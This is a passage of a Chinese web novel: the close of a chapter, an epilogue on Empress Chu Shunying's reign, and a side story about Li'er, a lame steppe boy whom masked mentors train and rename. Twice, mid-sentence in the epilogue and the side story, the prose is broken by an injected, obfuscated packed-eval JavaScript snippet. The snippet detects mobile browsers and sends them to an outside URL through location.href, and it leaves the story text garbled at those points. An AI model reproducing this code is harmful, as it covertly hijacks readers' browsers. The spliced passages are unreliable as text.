同一时刻,苻洵和舜英坐在回宫的马车上。苻洵拿出那只沉香木雕琢成的礼盒,木盒盖子用泥金绘着芙蕖和红梅,錾刻着几行小字:荣翊联姻,永结盟好——永平元年正月初六。金粉已经剥脱不少,花纹也有些黯淡,像是风吹雨打了很久的旧物。 揭开盒盖,喜庆的正红色底垫,静静放着两个崭新的大阿福,全都笑盈盈的、穿着红衣,衣服上还有金色图纹:螭龙、雉和白狮。泥娃娃的面部栩栩如生,男娃娃有很漂亮的桃花眼,女娃娃黠慧的杏核眼、像两泓澄澈秋水。 十六年前,在舜英被软禁在兴庆宫那两个多月,元旻也曾动摇过无数次。却终究,选择成全自己那点私心。 这一成全,就是她险些郁郁而终的半生,血亲褚氏被磋磨掉的几十条人命。 舜英越看越气闷,这人自说自话、自我感动的毛病,怕是一辈子都改不掉了。 这世上有一种人,并没什么穷凶极恶的初衷,一点点私心、一点点偏执,加持权力的一点点任性,落到失权者头上,便是塌天大祸。可她在身心俱伤后,想要去怨去恨去报复,他瞧着却比她更无辜可怜。 她又想起承赟与她说的那番话:过去几十年世道太乱,人人有罪孽、人人有立场、人人有苦衷,可新的世代到了,活着的人总要往前看,要想余生过得舒坦些,只有放下。 往事不堪回首,怨恨太沉重,原谅无可能,可所有人只能选择放下。 只为将来。 她咬牙切齿拧了一把苻洵腰肉,悻悻道:“都怪你,我们送完外公就该直接回宫。” “不来这趟,怎么得到这个好东西”,苻洵笑盈盈将木盒盖好,珍惜地锁进抽屉,“难得见他低一次头,可不能错过。” 舜英白了他一眼:“……” 这幼稚的胜负欲! 苻洵一路都掀着窗帘,看芙蕖长满洛川,连天碧、别样红,忽然扬眉一笑:“刚好五年,姐姐真是有诺必践。” 舜英一愣,才想起,从建宁十二年冬她许下那个约定,到咸宁元年,刚好五年。 于是遗憾地叹了口气:“本想攒满五年就去游山玩水,现在还得累死累活继续连轴转。” “无妨,大隐隐于市”,苻洵泰然一笑,揽住她柔声宽慰,“不用再像从前那样四处颠沛,能和你还有知蕤永远在一起,还住在咱们最喜欢的洛京,我已经很知足了。” 舜英想到那年的谶言:纠缠不分是半世的纠葛,流离失所是此生的挚爱。 如今,纠缠不分的纠葛已全然分开,此生挚爱也不再流离失所。 如此,已经很好了。 232. 后记:千秋万岁 咸宁元年六月二十八,褚舜英册封苻洵为皇夫。 咸宁四年,宁王苻隽尚承徽公主,长居洛京;次年,褚承祎大婚,迎娶武安王苻洹幼女为储妃。褚、元、苻三姓通婚姻、融血脉,永结一体。 咸宁五年,太尉姜娥任命麾下良将武灿,开始率操练“红妆军”。 咸宁八年,曲雍和关门弟子韦令姜,三元及第,在殿试中对答从容、妙语连珠,以二十余岁韶龄被钦点为文状元,入集贤殿参与编撰新朝律法。 新法改三公九卿为三省六部,中书、尚书、门下三省互相监督制衡,将相权一分为三,又设吏、户、兵、刑、工五部分管太尉、大司农、御史台、廷尉等职责,另有礼部,掌管五礼之仪制及学校贡举之法。 官制完善后,韦令姜出任礼部尚书,受命于帝皇、兴盛科举,聆诲于丞相、大力开办女学。 韦令姜之母韦秋屏,自幼流落烟花泥淖,后得机缘重获自由身,经营布商有所成,又因缘巧合救驾储君,敕封诰命“一品勇毅夫人”。联手原飞廉指挥使苏衣、苏裳,在滬南四州广开织造坊、绣坊,只收女工。 伴随织造业兴盛,无数滬南女子脱离父兄夫主、自给自足,短短十几年间,阊江、维阳、宜邑三城秦楼楚馆数量减半。 咸宁十二年,武灿率红妆军再破西羌十余国,将大雍控制的疆域向西再推千里。姜娥年迈致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194114|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仕,武灿接任兵部尚书。自此,大雍女子尚武成风,皆以丰健强壮为美、以身披戎装为荣。 咸宁二十年,褚知蕤受封睿王、世代罔替,封地郅阳、北卢、凤台三郡,与西境都护府一起,扼守西羌诸国。同年,咸宁帝传位于太子褚承祎,是为泰启帝。 次年,泰启帝册苻皇后膝下长女为储君,并留祖训传世:大位继承无论男女,嫡长为先。 而后,褚舜英与苻洵一起白龙鱼服、周游列国、纵情山水。 咸宁帝在位二十年,观文教于六经、阅武功于七德,平北宛、扼西羌,刀枪入库、马放南山、四夷臣服、万国来朝。 雍熙于变,河清海晏。 233. 狸儿 关头落月横西岭,塞下凝云断北荒。漠漠边尘飞众鸟,昏昏朔气聚群羊。 瓯托位于乌兰山西端,靠近乌兰沙海。白天很热,金色、白色的沙丘在远方绵延成温柔的曲线,风吹来便是噎满喉咙的干燥,烫得眼睛生疼;到了夜晚,月亮似乎比别处更大,无垠的沙海呜呜作响,像是很多人在断断续续地唱歌。 狸儿喜欢白天,可以把四肢埋在沙子里,滚烫的热气渗进孱弱的四肢,烫得微微发疼。狸儿喜欢疼,疼了才能提醒自己还活着。 他也喜欢夜晚,羊群归圈后,他时常坐在沙丘上,倚靠胡杨树吹那截木管子。木质的管身上开有八孔、前七后一。管口插着哨子,声音又脆又亮,可以在乌兰沙海里传很远。 其实在一年前,狸儿既不喜欢白天也不喜欢黑夜。 直到他遇见了大师父,那个送他筚篥的男人。 . 他是个有缺陷的弃婴,被他称作“额吉”的女人捡了他,将他养活又养大。 这一对母子,天残地缺。 额吉身体不好、又不能生孩子,三十多岁还没有男人娶。家里没有能骑会射、能摔跤打架的男人,他家的羊经常被别家的羊群拐走,额吉每次去讨要都反被打一顿。 还有每次暴风雪,母子俩力气不够,无法将所有羊群赶回羊圈。 额吉就这样,养着别人抢剩下的几头瘦羊、在别人不要的边边角角种上青稞,再靠着零零碎碎的接济,养活了亲生父母都不要的他。 每当额吉看着空荡荡的羊圈、眼圈通红地发呆,或者抱着冻死的羊羔嚎啕大哭时,狸儿都希望自己可以强壮些。 他原本不叫狸儿,从前,所有人都叫他“阿狈”。 阿狈从小就比部落里别的孩子矮小,左脚力量很弱、以至于走路时显得跛。别的孩子能在草原上跑,他多跑几步就会气喘吁吁、涨得满脸通红。 有一次他不甘心,跑得两眼昏花了仍不停下、本能地迈着腿,后来他就嘴唇发紫倒在地上,爬都爬不起来。 这些毛病,在遇到师父后,都逐渐好了起来。 他至今都记得,初见师父的场景。 去年冬天的一个黄昏,邻居家的男孩问他要一件厚绒衣,那是单于送的,他死死攥着不肯给,男孩扇了他两耳光,他脑袋晕晕的,但是气血上涌,捏拳回击了几下。 这是他第一次还手。 单于大人是除了额吉外,第二个对他好的人,每当母子俩快饿死冻死的时候,单于大人总会派人偷偷给他们送些兽皮和糌粑、有时候还会送来热气腾腾的羊奶和酥油茶。 邻家男孩怒了、要他下跪,他犟着不肯屈膝,于是男孩发了怒,两只手铁钳似的摁住他肩膀往下压,同时踹他膝弯。 就在他快坚持不住时,一根长鞭破空而来,抽在邻家男孩背上,卷着他向外翻了几个滚。 阿狈转过头,只见身侧站着三匹很高的马、马背上各坐着一个人。阳光从他们身后照射来,看不清他们的容貌,只觉得说不出的高大伟岸。 领头的男子穿着一件黑色的袍子,看起来价值不菲,不是瓯托这边的款式,阿狈曾在单于的帐篷里见过,是他们说的“中原贵客”穿的,叫貂裘。 领头男子跃下马的动作又潇洒又利索,比部落里骑术最好的巴图鲁还好看。 身后两个男人也纷纷跳下马,左边的敛眉垂目神色沉稳,右边的叼了根狗尾巴草、唇角噙一丝玩世不恭的笑。右边那个走到他身边问:“小兄弟,你叫什么名字?” 他无端对这三人生出好感:“阿狈。” 左边那个转头看向领头男子,沉声说:“狼生子或欠一足二足者,为狈。是他?” “他家的男孩子都是剑眉星目的,鼻子也像,瞧着正是他”,领头男子笑了,慢慢走到他面前蹲下,与他平平对视,“好孩子,你额吉呢?” 领头男子戴着精致的银白面具,遮住上半张脸,紧抿双唇时很是冷清淡漠,笑起来却十分温和,像融化乌兰山积雪的柔软春风。 阿狈最喜欢他,于是领着他进了帐篷。 过了会儿,阿狈听到帐篷里传出低低的啜泣,将门帘掀开一条缝,只见额吉双膝着地、跪在那男子面前,双手掩面哭泣。 阿狈冲进帐篷,气势汹汹地说:“不准欺负我额吉!” 领头男子笑吟吟看着他:“哟,小男子汉,是要挑战我么?” 阿狈想起他利索的身手,有些发怵却没有后退,仰起头定定注视着他。 . 那天之后,那三个男子挨着他家搭了个帐篷,他满心希望他们中能有个人娶了额吉,成为他的阿瓦。 领头的男子告诉他,他们都有妻子,但是都可以做他的师父。 阿瓦不能保护他们母子一辈子,师父却可以教他功夫,帮他成为草原上第一巴图鲁,自己保护自己。 那以后,他叫领头的男人“大师父”,叫稳重的男人“二师父”,吊儿郎当的男人“三师父”。 大师父说,中原文字里,“狈”不是什么好字眼,另给他取名“狸儿”。 大师父又说,狸是中原的一种兽,虽个头小、没多大力量,却又聪明又敏捷、十分善于狩猎,一队训练有素的狸可以打败最强的头狼。 狸儿也要让自己成为最厉害的狸。 那时,大师父还送了他两句话“狸虽一尺躯,猛气制十里。” 三个师父教了他一些摔跤的技巧,他们称作“巧劲”,又初初教了他些射箭和用刀的要诀。临走时还送了他一把小弓、一把错金小刀、一匣子长刀,让他必须每天练习射箭和舞刀。 末了,大师父还送给他一包药丸,闻起来有淡淡的草木香。 大师父让他记得,每晚睡前取一丸溶到水中服下。 三个师父在瓯托住了半个月就走了,走之前跟他说,明年还会来看他。 狸儿牢牢记着他们的话,每天抱石头蹲马步,一直蹲到手抱不住石头为止;每晚取一丸药融到水中喝下;还有每天舞动长刀练习劈砍;将木枝削成箭、在枯树上用软石画个圈练习射箭。 一天又一天,狸儿跑起来逐渐脸不红气不喘了,个子拔高了些、四肢逐日健壮,力气也越来越大,跟那些块头比他大、年长他两三岁的孩子也能打成平手。 他的刀法,从一开始刀都拿不动到可以堪堪举起、再到现在能舞得虎虎生风。 他的射箭,从一开始箭会在半路上掉落到可以堪堪射中树干、再到现在基本能射进圈儿里。 三位师父却没有再出现。 . 听额吉说,翻过乌兰山一直往东边走,有拿砖头砌起来的、很长的高墙,草原上最高的马匹、最勇武的巴图鲁都不能骑马越过,中原人管那高墙叫“边墙”。 额吉又说,中原人管边墙北边的这块草原和沙漠叫大宛,而在边墙的南边有个很强大的中原国家,叫翊。 翊国不但有比这里更肥美的牧场,还有很多高山河流、平原沃野,那里大部分人可以每天吃三顿饱饭,翊国汗王的宫殿比整个柘枝城都大。 额吉还说,很久以前,大宛和翊国的汗王经常打仗,死伤无数。但是二十年多年前,柘枝城出了个很聪明的汗王,把亲妹妹嫁给了翊国的汗王,两个国家不再打仗,开始交换东西。翊国用盐和粮食来换我们的马匹、牛羊和铁矿石。 但是去年又开始打仗了,因为柘枝城那个聪明的汗王去世了,他的哥哥成了新的王,多次发兵毁坏边墙、攻打翊国,却每次都打不过。 额吉想了想又说,前几天新汗王又开始招募勇士,可能又要打仗了…… 狸儿以前从来不知,额吉懂那么多。 自从三个师父来了又走,额吉的话就越来越多。 狸儿很想他们。 气候逐渐变冷,天空下起了细雪,一天又一天,雪越下越大。单于又给他送来过冬的食物、炭火和皮料。单于走后,额吉对狸儿说,他还有个一母同胞的哥哥,这些年单于照顾他们,全是哥哥暗中嘱托的。 狸儿不太相信,怎么之前从未听说过?怎么三位师傅一来,哥哥就冒出来了? 于是他问额吉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15225125|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,哥哥在哪里。 额吉说,哥哥在翊国当质子。 狸儿又问,质子是什么? 额吉说,质子就是人质,如果大宛对翊国开战,哥哥就会被翊国的汗王杀掉。 没多久,额吉说新汗王又在跟翊国打仗,狸儿想到师父也在中原,很担心他们也被卷入战火。想了很久,又想起,可能哥哥也被杀掉了,他失去了一个从未见过的亲人,不痛不痒。 十月底的一个清晨,罕见的晴天,狸儿迎着初升的太阳,正抱着一块大石头蹲马步。 跟上次何等相似,阳光从他们身后照过来,照得他们三人有无法言喻的高大伟岸。 “狸儿,你今天满十六,这是师父送你的生辰礼。” 大师父带来的礼物令他狂喜。 那是一匹体型秀丽、肩长尻宽、蹄广而薄、鬃鬣毛多的栗色小马,正是草原上耐力最好、性情最温顺的名种乌审马。 听单于说,至少两百头羊才能换一匹次等的乌审马,而眼前这匹,像是他们说的、价值一千头公羊的纯种上品。 大师父告诉他,腿部力量弱没关系,只要骑上好马,可以跑得比风还快。 教会了他骑马,三位师父带着他一路往东,那是他头次感受到一马平川。 瓯托的天空很高,疾风裹挟着雪粒拍打在脸上、灌进衣领和袖口,冷得他直哆嗦,却从胸臆涌出一股前所未有的酣畅,他忍不住放声大喊…… 大师父跑在前面,二、三师父一左一右将他护在中间。在他放声大喊时,大师父转过头,含笑扬声道:“我的狸儿是天生的巴图鲁!以后要作汗王手底最忠诚最强大的将军!” 此时此刻,他不想当什么大将军,只想就这样追随在大师父身后,永永远远、天长地久地跑下去。 一行四人,跑了两天一夜,又摸黑翻过乌兰山,终于在清晨时抵达了目的地。 晨晖映照下,正是额吉口中说的,高约两三丈、延绵数千里的高墙——边墙,而边墙之下的场景令他触目惊心。 无数鲜红尸骸互相支撑着倒在边墙之下,被寒冷的冰霜冻在一起、叠了一层又一层。天气太冷、连血都凝住了,未化的积雪覆盖在尸身上,像一床布满窟窿的巨幅裹尸布。 狸儿目眩良久,双膝发软,当时就稀里哗啦吐了一地。 三师父扶着他,其他两位师父一言不发,平静地等他吐完了,二师父才递给他一方丝帕。 他抓过来揩了揩唇角和下颌的秽物,又恐惧又愤怒,双目猩红转过去问:“是谁?” 大师父唇角弯起一丝笑,温声说:“不如自己去看看?” 狸儿双腿发着抖,膝盖也很软,于是三师父贴心地扶着他,一步一步挪向边墙之下。 走近之后,他看得更清楚了:那些尸骸,全都没有头颅。 狸儿感觉头晕得更厉害,却强撑着继续往东边走,想数清一共有多少具无头尸骸,走了近五里路后终于放弃。太多了……已经数到七千多,前面的尸骸依然望不到头。 他还发现了别的东西,一杆插在尸骸缝中的红色旌旗,已被冰霜冻得不再翻卷,舒展开来,上面画着一个圈,圈的正中写着一个字。 那个字是为数不多的、他认识的中原文字中的一个——翊。 风中隐隐传来大师父和二师父的交谈声。 “头次见这么多死人还没晕,比我强。” “我选中的苗子,差不了。” 半个月后,狸儿换了一身中原服饰,向额吉告别。 他将随三位师父去中原,去战场学习领兵打仗。 大师父说,草原上最强的巴图鲁,不但要弓马娴熟、武艺高强,更要学习中原的兵法,要率领军队能征善战。 他要当大宛第一巴图鲁,将所有曾瞧不起他们、欺凌他们的人,统统踩在脚下。 那天,他知道了自己的本名——卓力格图。 那天,师父替他取了个好听的中原名字——冯栩。 崭新的战马、崭新的战甲、崭新的弓箭和长刀、崭新的人生。